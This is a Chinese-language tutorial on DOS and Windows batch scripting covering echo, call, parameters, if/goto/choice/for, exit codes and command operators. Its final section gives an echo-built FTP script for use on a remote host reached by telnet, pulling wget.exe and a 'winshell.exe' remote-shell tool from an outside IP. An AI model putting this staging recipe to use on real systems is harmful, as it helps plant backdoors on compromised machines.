常用命令
echo、@、call、pause、rem(小技巧:用::代替rem)是批處理文件最常用的幾個命令,我們就從他們開始學起。
echo 表示顯示此命令後的字符echo off 表示在此語句後所有運行的命令都不顯示命令行本身
@與echo off相象,但它是加在每個命令行的最前面,表示運行時不顯示這一行的命令行(只能影響當前行)。
call 調用另一個批處理文件(如果不用call而直接調用別的批處理文件,那麼執行完那個批處理文件後將無法返回當前文件並執行當前文件的後續命令)。
pause 運行此句會暫停批處理的執行並在屏幕上顯示Press any key to continue...的提示,等待用戶按任意鍵後繼續
rem 表示此命令後的字符爲解釋行(註釋),不執行,只是給自己今後參考用的(相當於程序中的註釋)。
type 表示顯示文件內容
例1:用edit編輯a.bat文件,輸入下列內容後存盤爲c:\a.bat,執行該批處理文件後可實現:將根目錄中所有文件寫入 a.txt中,啓動UCDOS,進入WPS等功能。
批處理文件的內容爲: 命令註釋:
@echo off 不顯示後續命令行及當前命令行
dir c:\*.* >a.txt 將c盤文件列表寫入a.txt
type a.txt
顯示a.txt文件內容
call c:\ucdos\ucdos.bat 調用ucdos
echo 你好 顯示"你好"
pause 暫停,等待按鍵繼續
rem 準備運行wps 註釋:準備運行wps
cd ucdos 進入ucdos目錄
wps 運行wps
批處理文件的參數
批處理文件還可以像C語言的函數一樣使用參數(相當於DOS命令的命令行參數),這需要用到一個參數表示符"%"。
%[1-9]表示參數,參數是指在運行批處理文件時在文件名後加的以空格(或者Tab)分隔的字符串。變量可以從%0到%9,%0表示批處理命令本身,其它參數字符串用%1到%9順序表示。
例2:C:根目錄下有一批處理文件名爲f.bat,內容爲:
@echo off
format %1
如果執行C:\>f a:
那麼在執行f.bat時,%1就表示a:,這樣format %1就相當於format a:,於是上面的命令運行時實際執行的是format a:
特殊命令
if goto choice for是批處理文件中比較高級的命令
1、if [not] "參數" == "字符串" 待執行的命令
參數如果等於(not表示不等,下同)指定的字符串,則條件成立,運行命令,否則運行下一句。
2、if [not] exist [路徑\]文件名 待執行的命令
如果有指定的文件,則條件成立,運行命令,否則運行下一句。
如: if exist c:\config.sys type c:\config.sys
表示如果存在c:\config.sys文件,則顯示它的內容。
3、if errorlevel <數字> 待執行的命令
很多DOS程序在運行結束後會返回一個數字值用來表示程序運行的結果(或者狀態),通過if errorlevel命令可以判斷程序的返回值,根據不同的返回
值來決定執行不同的命令(返回值必須按照從大到小的順序排列)。如果返回值等於指定的數字,則條件成立,運行命令,否則運行下一句。
如if errorlevel 2 goto x2
二、goto 批處理文件運行到這裏將跳到goto所指定的標號(標號即label,標號用:後跟標準字符串來定義)處,goto語句一般與if配合使用,根據不同的條件來執行不同的命令組。
如:
goto end
:end
echo this is the end
標號用":字符串"來定義,標號所在行不被執行。
三、choice 使用此命令可以讓用戶輸入一個字符(用於選擇),從而根據用戶的選擇返回不同的errorlevel,然後於if errorlevel配合,根據用戶的選擇運行不同的命令。
注意:choice命令爲DOS或者Windows系統提供的外部命令,不同版本的choice命令語法會稍有不同,請用choice /?查看用法
choice
/C YNC /M "確認請按 Y,否請按 N,或者取消請按 C。"
例:test.bat的內容如下(注意,用if errorlevel判斷返回值時,要按返回值從高到低排列):
@echo off
choice /C dme /M "defrag,mem,end"
if errorlevel 3 goto end
if errorlevel 2 goto mem
if errotlevel 1 goto defrag
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
四、for 循環命令,只要條件符合,它將多次執行同一命令
例如一個批處理文件中有一行:
for %%c in (*.bat *.txt) do type %%c
則該命令行會顯示當前目錄下所有以bat和txt爲擴展名的文件的內容。
常用命令簡介:
backup
0 備份成功
1 未找到備份文件
2 文件共享衝突阻止備份完成
3 用戶用ctrl-c中止備份
4 由於致命的錯誤使備份操作中止
diskcomp
0 盤比較相同
1 盤比較不同
2 用戶通過ctrl-c中止比較操作
3 由於致命的錯誤使比較操作中止
4 預置錯誤中止比較
diskcopy
0 盤拷貝操作成功
1 非致命盤讀/寫錯
2 用戶通過ctrl-c結束拷貝操作
3 因致命的處理錯誤使盤拷貝中止
4 預置錯誤阻止拷貝操作
format
0 格式化成功
3 用戶通過ctrl-c中止格式化處理
4 因致命的處理錯誤使格式化中止
5 在提示"proceed with format(y/n)?"下用戶鍵入n結束
xcopy
0 成功拷貝文件
1 未找到拷貝文件
2 用戶通過ctrl-c中止拷貝操作
4 預置錯誤阻止文件拷貝操作
5 拷貝過程中寫盤錯誤
set 查看環境變量
path 可執行程序的搜索路徑
對環境變量的引用使用(英文模式,半角)雙引號
%windir% 變量
%%windir%% 二次變量引用.
%temp% 臨時文件目錄
%windir% 系統目錄
%errorlevel% 退出代碼
3. 內置的特殊符號(實際使用中間注意避開)
微軟裏面內置了下列字符不能夠在創建的文件名中間使用
con nul aux \ / | || && ^ > < *
> 創建一個文件
>> 追加到一個文件後面
, 和空格一樣的缺省分隔符號.
; 註釋,表示後面爲註釋
: 標號作用
| 管道操作
& Usage:第一條命令 & 第二條命令 [& 第三條命令...]
用這種方法可以同時執行多條命令,而不管命令是否執行成功
dir c:\*.exe & dir d:\*.exe & dir e:\*.exe
&& Usage:第一條命令 && 第二條命令 [&& 第三條命令...]
當碰到執行出錯的命令後將不執行後面的命令,如果一直沒有出錯則一直執行完所有命令;
|| Usage:第一條命令 || 第二條命令 [|| 第三條命令...]
當碰到執行正確的命令後將不執行後面的命令,如果沒有出現正確的命令則一直執行完所有命令
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k
按照字母順序 ijklmnopq依次取參數.
eol=c - 指一個行註釋字符的結尾(就一個)
skip=n - 指在文件開始時忽略的行數。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的默認分隔符集。
netstat -n | find "3389"
這個將要列出所有連接3389的用戶的ip.
還有一個就是已經通過telnet登陸了一個遠程主機.怎樣上傳文件(win)
依次在窗口輸入下面的東西. 當然了也可以全部拷貝.Ctrl+V過去. 然後就等待吧!!
echo open 210.64.x.4 3396>w
echo read>>w
echo read>>w
echo cd winnt>>w
echo binary>>w
echo pwd >>w
echo get wget.exe >>w
echo get winshell.exe >>w
echo get any.exe >>w
echo quit >>w
ftp -s:w